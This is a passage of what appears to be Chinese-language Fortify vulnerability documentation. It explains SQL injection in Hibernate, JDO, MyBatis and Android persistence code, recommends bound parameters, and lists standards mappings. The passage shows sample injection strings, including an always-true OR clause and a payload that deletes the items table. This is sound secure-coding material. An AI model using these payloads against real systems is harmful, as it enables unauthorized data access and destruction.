[27] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3540.1 CAT I, APP3540.3 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3540.1 CAT I, APP3540.3 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3540.1 CAT I, APP3540.3 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3540.1 CAT I, APP3540.3 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3540.1 CAT I, APP3540.3 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3540.1 CAT I, APP3540.3 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3540.1 CAT I, APP3540.3 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002540 CAT I, APSC-DV-002560 CAT I
[35] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002540 CAT I, APSC-DV-002560 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002540 CAT I, APSC-DV-002560 CAT I
[37] Standards Mapping - Web Application Security Consortium 24 + 2 SQL Injection
[38] Standards Mapping - Web Application Security Consortium Version 2.00 SQL Injection (WASC-19)
SQL Injection: Hibernate
ABSTRACT
使用 Hibernate 来执行通过不可信来源的输入构建的动态 SQL 语句会使得攻击者能够篡改语句的含义或者执行任意 SQL 命令。
EXPLANATION
SQL injection 错误在以下情况下发生:
数据从一个不可信赖的数据源进入程序。
该数据用于动态地构造一个 HQL 查询。
示例 1:以下代码动态地构造并执行一个 HQL 查询,用于搜索与指定名称相匹配的项。该查询仅会显示条目所有者与被授予权限的当前用户一致的条目。
1 | ... |
这一代码所执行的查询遵循如下方式:
1 | SELECT * FROM items |
但是,由于这个查询是动态构造的,由一个不变的基查询字符串和一个用户输入字符串连接而成,因此只有在 itemName 不包含单引号字符时,才会正确执行这一查询。如果一个用户名为 wiley 的攻击者为 itemName 输入字符串“name’ OR ‘a’=’a”,那么查询就会变成:
1 | SELECT * FROM items |
附加条件 OR ‘a’=’a’ 会使 where 从句永远评估为 true,因此该查询在逻辑上将等同于一个更为简化的查询:
1 | SELECT * FROM items; |
这种查询的简化会使攻击者绕过查询只返回经过验证的用户所拥有的条目的要求;而现在的查询则会直接返回所有储存在 items 表中的条目,不论它们的所有者是谁。
例 2:这个例子指出了将不同的恶意数值传递给在例 1 中构造和执行的查询时所带来的各种影响。如果一个用户名为 wiley 在 itemName 中输入字符串“name’; DELETE FROM items; –”,则该查询将会变为以下两个:
1 | SELECT * FROM items |
众多数据库服务器,其中包括 Microsoft(R) SQL Server 2000,都可以一次性执行多条用分号分隔的 SQL 指令。对于那些不允许运行用分号分隔的批量指令的数据库服务器,比如 Oracle 和其他数据库服务器,攻击者输入的这个字符串只会导致错误;但是在那些支持这种操作的数据库服务器上,攻击者可能会通过执行多条指令而在数据库上执行任意命令。
注意成对的连字符 (–);这在大多数数据库服务器上都表示下面的语句将作为注释使用,而不能加以执行 [4]。在这种情况下,注释字符的作用就是删除修改的查询指令中遗留的最后一个单引号。而在那些不允许这样加注注释的数据库中,通常攻击者可以如例 1 那样来攻击。如果攻击者输入字符串“name’); DELETE FROM items; SELECT * FROM items WHERE ‘a’=’a”就会创建如下三个有效指令:
1 | SELECT * FROM items |
避免 SQL injection 攻击的传统方法之一是,把它作为一个输入合法性检查的问题来处理,只接受列在白名单中的字符,或者识别并避免那些列在黑名单中的恶意数据。白名单方法是一种非常有效方法,它可以强制执行严格的输入检查规则,但是参数化的 SQL 指令所需维护更少,而且能提供更好的安全保障。而对于通常采用的列黑名单方式,由于总是存在一些小漏洞,所以并不能有效地防止 SQL injection 威胁。例如,攻击者可以:
— 把没有被黑名单引用的值作为目标
— 寻找方法以绕过对某一转义序列元字符的需要
— 使用存储过程来隐藏注入的元字符
手动去除 SQL 查询中的元字符有一定的帮助,但是并不能完全保护您的应用程序免受 SQL injection 攻击。
防范 SQL injection 攻击的另外一种常用方式是使用存储过程。虽然存储过程可以阻止某些类型的 SQL injection 攻击,但是对于绝大多数攻击仍无能为力。存储过程有助于避免 SQL injection 的常用方式是限制可作为参数传入的指令类型。但是,有许多方法都可以绕过这一限制,许多危险的表达式仍可以传入存储过程。再次重申,存储过程可以阻止某些类型的盗取行为,但是它们并不能保护您的应用程序免受 SQL Injection 攻击。
RECOMMENDATIONS
造成 SQL injection 攻击的根本原因在于攻击者可以改变 SQL 查询的上下文,使程序员原本要作为数据解析的数值,被篡改为命令了。当构造一个 SQL 查询时,程序员应当清楚,哪些输入的数据将会成为命令的一部分,而哪些仅仅是作为数据。参数化 SQL 指令可以防止直接窜改上下文,避免几乎所有的 SQL injection 攻击。参数化 SQL 指令是用常规的 SQL 字符串构造的,但是当需要加入用户输入的数据时,它们就需要使用捆绑参数,这些捆绑参数是一些占位符,用来存放随后插入的数据。换言之,捆绑参数可以使程序员清楚地分辨数据库中的数据,即其中有哪些输入可以看作命令的一部分,哪些输入可以看作数据。这样,当程序准备执行某个指令时,它可以详细地告知数据库,每一个捆绑参数所使用的运行时的值,而不会被解析成对该命令的修改。
前面的例子可以改成使用参数化 SQL 指令的攻击方式(替代用户输入连续的字符串),如下所示:
1 | ... |
更加复杂的情况常常出现在报表生成代码中,因为这时需要通过用户输入来改变 SQL 指令的命令结构,比如在 WHERE 条件子句中加入动态的约束条件。不要因为这一需求,就无条件地接受连续的用户输入,从而创建查询语句字符串。当必须要根据用户输入来改变命令结构时,可以使用间接的方法来防止 SQL injection 攻击:创建一个合法的字符串集合,使其对应于可能要加入到 SQL 指令中的不同元素。在构造一个指令时,可使用来自用户的输入,以便从应用程序控制的值集合中进行选择。
如果输入必须直接包含在指令中,就应当使用绑定参数。
REFERENCES
[1] S. J. Friedl SQL Injection Attacks by Example
[2] P. Litwin Stop SQL Injection Attacks Before They Stop You MSDN Magazine
[3] P. Finnigan SQL Injection and Oracle, Part One Security Focus
[4] M. Howard, D. LeBlanc Writing Secure Code, Second Edition Microsoft Press
[5] Hibernate API Documentation
[6] IDS00-J. Prevent SQL Injection CERT
[7] INJECT-2: Avoid dynamic SQL Oracle
[8] INPUT-1: Validate inputs Oracle
[9] Standards Mapping - Common Weakness Enumeration CWE ID 564
[10] Standards Mapping - FIPS200 SI
[11] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[12] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M1 Weak Server Side Controls
[13] Standards Mapping - OWASP Top 10 2004 A6 Injection Flaws
[14] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[15] Standards Mapping - OWASP Top 10 2010 A1 Injection
[16] Standards Mapping - OWASP Top 10 2013 A1 Injection
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.6
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[21] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[23] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 116
[24] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3540.1 CAT I, APP3540.3 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3540.1 CAT I, APP3540.3 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3540.1 CAT I, APP3540.3 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3540.1 CAT I, APP3540.3 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3540.1 CAT I, APP3540.3 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3540.1 CAT I, APP3540.3 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3540.1 CAT I, APP3540.3 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002540 CAT I, APSC-DV-002560 CAT I
[32] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002540 CAT I, APSC-DV-002560 CAT I
[33] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002540 CAT I, APSC-DV-002560 CAT I
[34] Standards Mapping - Web Application Security Consortium 24 + 2 SQL Injection
[35] Standards Mapping - Web Application Security Consortium Version 2.00 SQL Injection (WASC-19)
SQL Injection: JDO
ABSTRACT
使用 Java 数据对象 (JDO) 执行通过不可信来源的输入构建的动态 SQL 或 JDOQL 指令,会让攻击者有机会篡改指令的含义或者执行任意 SQL 命令。
EXPLANATION
SQL injection 错误在以下情况下发生:
数据从一个不可信赖的数据源进入程序。
数据用于动态地构造一个 SQL 或 JDOQL 查询。
例 1:以下代码动态地构造并执行了一个 SQL 查询,该查询可以搜索与指定名称相匹配的项。该查询仅会显示条目所有者与被授予权限的当前用户一致的条目。
1 | ... |
这一代码所执行的查询遵循如下方式:
1 | SELECT * FROM items |
但是,由于这个查询是动态构造的,由一个不变的基查询字符串和一个用户输入字符串连接而成,因此只有在 itemName 不包含单引号字符时,才会正确执行这一查询。如果一个用户名为 wiley 的攻击者为 itemName 输入字符串“name’ OR ‘a’=’a”,那么查询就会变成:
1 | SELECT * FROM items |
附加条件 OR ‘a’=’a’ 会使 where 从句永远评估为 true,因此该查询在逻辑上将等同于一个更为简化的查询:
1 | SELECT * FROM items; |
这种查询的简化会使攻击者绕过查询只返回经过验证的用户所拥有的条目的要求;而现在的查询则会直接返回所有储存在 items 表中的条目,不论它们的所有者是谁。
例 2:这个例子指出了将不同的恶意数值传递给在例 1 中构造和执行的查询时所带来的各种影响。如果一个用户名为 wiley 在 itemName 中输入字符串“name’; DELETE FROM items; –”,则该查询将会变为以下两个:
1 | SELECT * FROM items |
众多数据库服务器,其中包括 Microsoft(R) SQL Server 2000,都可以一次性执行多条用分号分隔的 SQL 指令。对于那些不允许运行用分号分隔的批量指令的数据库服务器,比如 Oracle 和其他数据库服务器,攻击者输入的这个字符串只会导致错误;但是在那些支持这种操作的数据库服务器上,攻击者可能会通过执行多条指令而在数据库上执行任意命令。
注意成对的连字符 (–);这在大多数数据库服务器上都表示下面的语句将作为注释使用,而不能加以执行 [4]。在这种情况下,注释字符的作用就是删除修改的查询指令中遗留的最后一个单引号。而在那些不允许这样加注注释的数据库中,通常攻击者可以如例 1 那样来攻击。如果攻击者输入字符串“name’); DELETE FROM items; SELECT * FROM items WHERE ‘a’=’a”就会创建如下三个有效指令:
1 | SELECT * FROM items |
避免 SQL injection 攻击的传统方法之一是,把它作为一个输入合法性检查的问题来处理,只接受列在白名单中的字符,或者识别并避免那些列在黑名单中的恶意数据。白名单方法是一种非常有效方法,它可以强制执行严格的输入检查规则,但是参数化的 SQL 指令所需维护更少,而且能提供更好的安全保障。而对于通常采用的列黑名单方式,由于总是存在一些小漏洞,所以并不能有效地防止 SQL injection 威胁。例如,攻击者可以:
— 把没有被黑名单引用的值作为目标
— 寻找方法以绕过对某一转义序列元字符的需要
— 使用存储过程来隐藏注入的元字符
手动去除 SQL 查询中的元字符有一定的帮助,但是并不能完全保护您的应用程序免受 SQL injection 攻击。
防范 SQL injection 攻击的另外一种常用方式是使用存储过程。虽然存储过程可以阻止某些类型的 SQL injection 攻击,但是对于绝大多数攻击仍无能为力。存储过程有助于避免 SQL injection 的常用方式是限制可作为参数传入的指令类型。但是,有许多方法都可以绕过这一限制,许多危险的表达式仍可以传入存储过程。再次重申,存储过程可以阻止某些类型的盗取行为,但是它们并不能保护您的应用程序免受 SQL Injection 攻击。
RECOMMENDATIONS
造成 SQL injection 攻击的根本原因在于攻击者可以改变 SQL 查询的上下文,使程序员原本要作为数据解析的数值,被篡改为命令了。当构造一个 SQL 查询时,程序员应当清楚,哪些输入的数据将会成为命令的一部分,而哪些仅仅是作为数据。参数化 SQL 指令可以防止直接窜改上下文,避免几乎所有的 SQL injection 攻击。参数化 SQL 指令是用常规的 SQL 字符串构造的,但是当需要加入用户输入的数据时,它们就需要使用捆绑参数,这些捆绑参数是一些占位符,用来存放随后插入的数据。换言之,捆绑参数可以使程序员清楚地分辨数据库中的数据,即其中有哪些输入可以看作命令的一部分,哪些输入可以看作数据。这样,当程序准备执行某个指令时,它可以详细地告知数据库,每一个捆绑参数所使用的运行时的值,而不会被解析成对该命令的修改。
前面的例子可以改成使用参数化 SQL 指令的攻击方式(替代用户输入连续的字符串),如下所示:
…1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
String userName = ctx.getAuthenticatedUserName();
String itemName = request.getParameter("itemName");
String sql =
"SELECT * FROM items WHERE itemname=? AND owner=?";
Query query = pm.newQuery(Query.SQL, sql);
query.setClass(Person.class);
List people = (List)query.execute(itemName, userName);
...
更加复杂的情况常常出现在报表生成代码中,因为这时需要通过用户输入来改变 SQL 指令的命令结构,比如在 WHERE 条件子句中加入动态的约束条件。不要因为这一需求,就无条件地接受连续的用户输入,从而创建查询语句字符串。当必须要根据用户输入来改变命令结构时,可以使用间接的方法来防止 SQL injection 攻击:创建一个合法的字符串集合,使其对应于可能要加入到 SQL 指令中的不同元素。在构造一个指令时,可使用来自用户的输入,以便从应用程序控制的值集合中进行选择。
如果输入必须直接包含在指令中,就应当使用绑定参数。
REFERENCES
[1] S. J. Friedl SQL Injection Attacks by Example
[2] P. Litwin Stop SQL Injection Attacks Before They Stop You MSDN Magazine
[3] P. Finnigan SQL Injection and Oracle, Part One Security Focus
[4] M. Howard, D. LeBlanc Writing Secure Code, Second Edition Microsoft Press
[5] JDO API Documentation
[6] IDS00-J. Prevent SQL Injection CERT
[7] INJECT-2: Avoid dynamic SQL Oracle
[8] INPUT-1: Validate inputs Oracle
[9] Standards Mapping - Common Weakness Enumeration CWE ID 89
[10] Standards Mapping - FIPS200 SI
[11] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[12] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M1 Weak Server Side Controls
[13] Standards Mapping - OWASP Top 10 2004 A6 Injection Flaws
[14] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[15] Standards Mapping - OWASP Top 10 2010 A1 Injection
[16] Standards Mapping - OWASP Top 10 2013 A1 Injection
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.6
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[21] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[23] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 089
[24] Standards Mapping - SANS Top 25 2010 Insecure Interaction - CWE ID 089
[25] Standards Mapping - SANS Top 25 2011 Insecure Interaction - CWE ID 089
[26] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3540.1 CAT I, APP3540.3 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3540.1 CAT I, APP3540.3 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3540.1 CAT I, APP3540.3 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3540.1 CAT I, APP3540.3 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3540.1 CAT I, APP3540.3 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3540.1 CAT I, APP3540.3 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3540.1 CAT I, APP3540.3 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002540 CAT I, APSC-DV-002560 CAT I
[34] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002540 CAT I, APSC-DV-002560 CAT I
[35] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002540 CAT I, APSC-DV-002560 CAT I
[36] Standards Mapping - Web Application Security Consortium 24 + 2 SQL Injection
[37] Standards Mapping - Web Application Security Consortium Version 2.00 SQL Injection (WASC-19)
SQL Injection: MyBatis Mapper
ABSTRACT
通过不可信来源的输入构建动态 SQL 指令,攻击者就能够修改指令的含义或者执行任意 SQL 命令。
EXPLANATION
SQL injection 错误在以下情况下发生:
数据从一个不可信赖的数据源进入程序。
数据用于动态地构造一个 SQL 查询。
使用 MyBatis Mapper XML 文件可以指定 SQL 指令中的动态参数,通常使用 # 字符来定义它们,如:
1 | <select id="getItems" parameterType="domain.company.MyParamClass" resultType="MyResultMap"> |
变量名称周围带有括号的 # 字符表示 MyBatis 将使用 userName 变量创建参数化查询。但是,MyBatis 还允许使用 $ 字符将变量直接连接到 SQL 指令,使其易受 SQL injection 攻击。
例 1:以下代码动态地构造并执行了一个 SQL 查询,该查询可以搜索与指定名称相匹配的项。该查询仅会显示条目所有者与被授予权限的当前用户一致的条目。
1 | <select id="getItems" parameterType="domain.company.MyParamClass" resultType="MyResultMap"> |
但是,由于这个查询是动态构造的,由一个不变的基查询字符串和一个用户输入字符串连接而成,因此只有在 itemName 不包含单引号字符时,才会正确执行这一查询。如果一个用户名为 wiley 的攻击者为 itemName 输入字符串“name’ OR ‘a’=’a”,那么查询就会变成:
1 | SELECT * FROM items |
附加条件 OR ‘a’=’a’ 会使 WHERE 从句的计算结果始终为 true,因此该查询在逻辑上将等同于一个更为简化的查询:
1 | SELECT * FROM items; |
这种查询的简化会使攻击者绕过查询只应返回经过验证的用户所拥有的条目的要求;而现在的查询则会直接返回所有储存在 items 表中的条目,不论它们的所有者是谁。
例 2:这个例子指出了将不同的恶意数值传递给在例 1 中构造和执行的查询时所带来的各种影响。如果一个用户名为 wiley 在 itemName 中输入字符串“name’; DELETE FROM items; –”,则该查询将会变为以下两个:
1 | SELECT * FROM items |
众多数据库服务器,其中包括 Microsoft(R) SQL Server 2000,都可以一次性执行多条用分号分隔的 SQL 指令。对于那些不允许运行用分号分隔的批量指令的数据库服务器,比如 Oracle 和其他数据库服务器,攻击者输入的这个字符串只会导致错误;但是在那些支持这种操作的数据库服务器上,攻击者可能会通过执行多条指令而在数据库上执行任意命令。
注意成对的连字符 (–);这在大多数数据库服务器上都表示下面的语句将作为注释使用,而不能加以执行 [4]。在这种情况下,注释字符的作用就是删除修改的查询指令中遗留的最后一个单引号。而在那些不允许这样加注注释的数据库中,通常攻击者可以如例 1 那样来攻击。如果攻击者输入字符串“name’); DELETE FROM items; SELECT * FROM items WHERE ‘a’=’a”就会创建如下三个有效指令:
1 | SELECT * FROM items |
避免 SQL injection 攻击的传统方法之一是,把它作为一个输入合法性检查的问题来处理,只接受列在白名单中的字符,或者识别并避免那些列在黑名单中的恶意数据。白名单方法是一种非常有效方法,它可以强制执行严格的输入检查规则,但是参数化的 SQL 指令所需维护更少,而且能提供更好的安全保障。而对于通常采用的列黑名单方式,由于总是存在一些小漏洞,所以并不能有效地防止 SQL injection 威胁。例如,攻击者可以:
— 把没有被黑名单引用的值作为目标
— 寻找方法以绕过对某一转义序列元字符的需要
— 使用存储过程来隐藏注入的元字符
手动去除 SQL 查询中的元字符有一定的帮助,但是并不能确保应用程序免受 SQL injection 攻击。
防范 SQL injection 攻击的另外一种常用方式是使用存储过程。虽然存储过程可以阻止某些类型的 SQL injection 攻击,但是对于绝大多数攻击仍无能为力。存储过程有助于避免 SQL injection 的常用方式是限制可作为参数传入的指令类型。但是,有许多方法都可以绕过这一限制,许多危险的表达式仍可以传入存储过程。所以再次强调,存储过程在某些情况下可以避免这种攻击,但是并不能完全保护您的应用系统抵御 SQL injection 的攻击。
RECOMMENDATIONS
造成 SQL injection 攻击的根本原因在于攻击者可以改变 SQL 查询的上下文,使程序员原本要作为数据解析的数值,被篡改为命令了。当构造一个 SQL 查询时,程序员应当清楚,哪些输入的数据将会成为命令的一部分,而哪些仅仅是作为数据。参数化 SQL 指令可以防止直接窜改上下文,避免几乎所有的 SQL injection 攻击。参数化 SQL 指令是用常规的 SQL 字符串构造的,但是当需要加入用户输入的数据时,它们就需要使用捆绑参数,这些捆绑参数是一些占位符,用来存放随后插入的数据。换言之,捆绑参数可以使程序员清楚地分辨数据库中的数据,即其中有哪些输入可以看作命令的一部分,哪些输入可以看作数据。这样,当程序准备执行某个指令时,它可以详细地告知数据库,每一个捆绑参数所使用的运行时的值,而不会被解析成对该命令的修改。
例 3:可以将例 1 重写为使用参数化 SQL 指令(替代用户输入连续的字符串),如下所示:
1 | <select id="getItems" parameterType="domain.company.MyParamClass" resultType="MyResultMap"> |
更加复杂的情况常常出现在报表生成代码中,因为这时需要通过用户输入来改变 SQL 指令的命令结构,比如在 WHERE 条件子句中加入动态的约束条件。不要因为这一需求,就无条件地接受连续的用户输入,从而创建查询语句字符串。MyBatis 包含了对在其 XML 架构中构建动态查询进行解释的功能,同时还提供使用参数化查询 [2] 的功能。
例 4:可以将例 3 改写为 XML 中的动态查询,以首先验证 itemName 是否存在,同时仍然使用参数化查询,例如:
1 | <select id="getItems" parameterType="domain.company.MyParamClass" resultType="MyResultMap"> |
通过这种方法创建动态查询可以防止由于维持参数化查询的安全而导致的 SQL injection 攻击,从而使其比字符串串联更安全、更易于维护。如果这种方法出于任何原因不可用或不足够,当必须要根据用户输入来改变命令结构时,可以使用间接的方法来防止 SQL injection 攻击:创建一个合法的字符串集合,使其对应于可能要加入到 SQL 指令中的不同元素。在构造一个指令时,可使用来自用户的输入,以便从应用程序控制的值集合中进行选择。
REFERENCES
[1] MyBatis MyBatis 3 | Mapper XML Files
[2] MyBatis MyBatis 3 | Dynamic SQL
[3] S. J. Friedl SQL Injection Attacks by Example
[4] P. Litwin Stop SQL Injection Attacks Before They Stop You MSDN Magazine
[5] P. Finnigan SQL Injection and Oracle, Part One Security Focus
[6] M. Howard, D. LeBlanc Writing Secure Code, Second Edition Microsoft Press
[7] IDS00-J. Prevent SQL Injection CERT
[8] INJECT-2: Avoid dynamic SQL Oracle
[9] Standards Mapping - Common Weakness Enumeration CWE ID 89
[10] Standards Mapping - FIPS200 SI
[11] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[12] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M1 Weak Server Side Controls
[13] Standards Mapping - OWASP Top 10 2004 A6 Injection Flaws
[14] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[15] Standards Mapping - OWASP Top 10 2010 A1 Injection
[16] Standards Mapping - OWASP Top 10 2013 A1 Injection
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.6
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[21] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[23] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 089
[24] Standards Mapping - SANS Top 25 2010 Insecure Interaction - CWE ID 089
[25] Standards Mapping - SANS Top 25 2011 Insecure Interaction - CWE ID 089
[26] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3540.1 CAT I, APP3540.3 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3540.1 CAT I, APP3540.3 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3540.1 CAT I, APP3540.3 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3540.1 CAT I, APP3540.3 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3540.1 CAT I, APP3540.3 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3540.1 CAT I, APP3540.3 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3540.1 CAT I, APP3540.3 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002540 CAT I, APSC-DV-002560 CAT I
[34] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002540 CAT I, APSC-DV-002560 CAT I
[35] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002540 CAT I, APSC-DV-002560 CAT I
[36] Standards Mapping - Web Application Security Consortium 24 + 2 SQL Injection
[37] Standards Mapping - Web Application Security Consortium Version 2.00 SQL Injection (WASC-19)
SQL Injection: Persistence
ABSTRACT
通过不可信来源的输入构建动态 SQL 指令,攻击者就能够修改指令的含义或者执行任意 SQL 命令。
EXPLANATION
SQL injection 错误在以下情况下发生:
- 数据从一个不可信赖的数据源进入程序。
在这种情况下,Fortify Static Code Analyzer(Fortify 静态代码分析器)无法确定数据源是否可信赖。
- 数据用于动态地构造一个 SQL 查询。
例 1:以下代码动态地构造并执行了一个 SQL 查询,该查询可以搜索与指定名称相匹配的项。该查询仅会显示条目所有者与被授予权限的当前用户一致的条目。
1 | ... |
这一代码所执行的查询遵循如下方式:
1 | SELECT * FROM items |
但是,由于这个查询是动态构造的,由一个不变的基查询字符串和一个用户输入字符串连接而成,因此只有在 itemName 不包含单引号字符时,才会正确执行这一查询。如果一个用户名为 wiley 的攻击者为 itemName 输入字符串“name’ OR ‘a’=’a”,那么查询就会变成:
1 | SELECT * FROM items |
附加条件 OR ‘a’=’a’ 会使 where 从句永远评估为 true,因此该查询在逻辑上将等同于一个更为简化的查询:
1 | SELECT * FROM items; |
这种查询的简化会使攻击者绕过查询只返回经过验证的用户所拥有的条目的要求;而现在的查询则会直接返回所有储存在 items 表中的条目,不论它们的所有者是谁。
例 2:这个例子指出了将不同的恶意数值传递给在例 1 中构造和执行的查询时所带来的各种影响。如果一个用户名为 wiley 在 itemName 中输入字符串“name’; DELETE FROM items; –”,则该查询将会变为以下两个:
1 | SELECT * FROM items |
众多数据库服务器,其中包括 Microsoft(R) SQL Server 2000,都可以一次性执行多条用分号分隔的 SQL 指令。对于那些不允许运行用分号分隔的批量指令的数据库服务器,比如 Oracle 和其他数据库服务器,攻击者输入的这个字符串只会导致错误;但是在那些支持这种操作的数据库服务器上,攻击者可能会通过执行多条指令而在数据库上执行任意命令。
注意成对的连字符 (–);这在大多数数据库服务器上都表示下面的语句将作为注释使用,而不能加以执行 [4]。在这种情况下,注释字符的作用就是删除修改的查询指令中遗留的最后一个单引号。对于那些不允许按照这种方式使用注释的数据库,通常攻击者会按例 1 的方式进行攻击。如果攻击者输入字符串“name’); DELETE FROM items; SELECT * FROM items WHERE ‘a’=’a”,则会创建以下三个有效指令:
1 | SELECT * FROM items |
有些人认为在移动世界中,典型的 Web 应用程序漏洞(如 SQL injection)是无意义的 – 为什么用户要攻击自己?但是,谨记移动平台的本质是从各种来源下载并在相同设备上运行的应用程序。恶意软件在银行应用程序附近运行的可能性很高,它们会强制扩展移动应用程序的攻击面(包括跨进程通信)。
示例 3:以下代码对示例 1 进行调整,使其适用于 Android 平台。
1 | ... |
避免 SQL injection 攻击的传统方法之一是,把它作为一个输入合法性检查的问题来处理,只接受列在白名单中的字符,或者识别并避免那些列在黑名单中的恶意数据。白名单方法是一种非常有效方法,它可以强制执行严格的输入检查规则,但是参数化的 SQL 指令所需维护更少,而且能提供更好的安全保障。而对于通常采用的列黑名单方式,由于总是存在一些小漏洞,所以并不能有效地防止 SQL injection 威胁。例如,攻击者可以:
— 把没有被黑名单引用的值作为目标
— 寻找方法以绕过对某一转义序列元字符的需要
— 使用存储过程来隐藏注入的元字符
手动去除 SQL 查询中的元字符有一定的帮助,但是并不能完全保护您的应用程序免受 SQL injection 攻击。
防范 SQL injection 攻击的另外一种常用方式是使用存储过程。虽然存储过程可以阻止某些类型的 SQL injection 攻击,但是对于绝大多数攻击仍无能为力。存储过程有助于避免 SQL injection 的常用方式是限制可作为参数传入的指令类型。但是,有许多方法都可以绕过这一限制,许多危险的表达式仍可以传入存储过程。所以再次强调,存储过程在某些情况下可以避免这种攻击,但是并不能完全保护您的应用系统抵御 SQL injection 的攻击。
RECOMMENDATIONS
